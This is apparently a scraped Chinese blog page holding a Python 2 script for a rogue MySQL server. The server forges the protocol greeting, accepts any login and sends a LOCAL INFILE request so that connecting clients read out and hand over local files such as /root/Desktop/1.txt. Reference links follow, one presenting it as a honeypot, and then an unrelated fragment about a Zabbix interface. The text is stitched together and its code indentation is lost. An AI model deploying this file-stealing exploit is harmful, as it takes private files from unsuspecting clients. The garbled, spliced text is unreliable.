1
#!/usr/bin/python
#coding: utf8
import socket
# linux :
filestring = "/root/Desktop/1.txt"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3307
BUFFER_SIZE = 1024
#1 Greeting
greeting = "x4ax00x00x00x0ax35x2ex35x2ex35x33x00x08x00x00x00x38x4fx65x2ex54x3ex77x5dx00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x4dx4bx6ex69x43x53x55x34x40x28x45x60x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
#2 Accept all authentications
authok = "x07x00x00x02x00x00x00x02x00x00x00"
#3 Payload
payloadlen = "x14"
padding = "x00x00"
payload = payloadlen + padding + "x01xfbx2fx72x6fx6fx74x2fx44x65x73x6bx74x6fx70x2fx31x2ex74x78x74"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
“https://github.com/qigpig/MysqlHoneypot”
参考资料:
https://dev.mysql.com/doc/internals/en/com-query-response.html
https://www.vesiluoma.com/abusing-mysql-clients/
https://paper.seebug.org/1144/
https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html
https://youtu.be/iBGbHYJAXSg
https://lorexxar.cn/2020/01/14/css-mysql-chain/
公司金山区云服务器对应的zabbix是2.2版本的,当时是直接使用yum install安装的。今天上班登陆zabbix的时候发现zabbix界面变成了中文版(我一直都是英文版界面),然后在主页的last 20 issues里右键点击具体的云服务器时会多了两个…
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论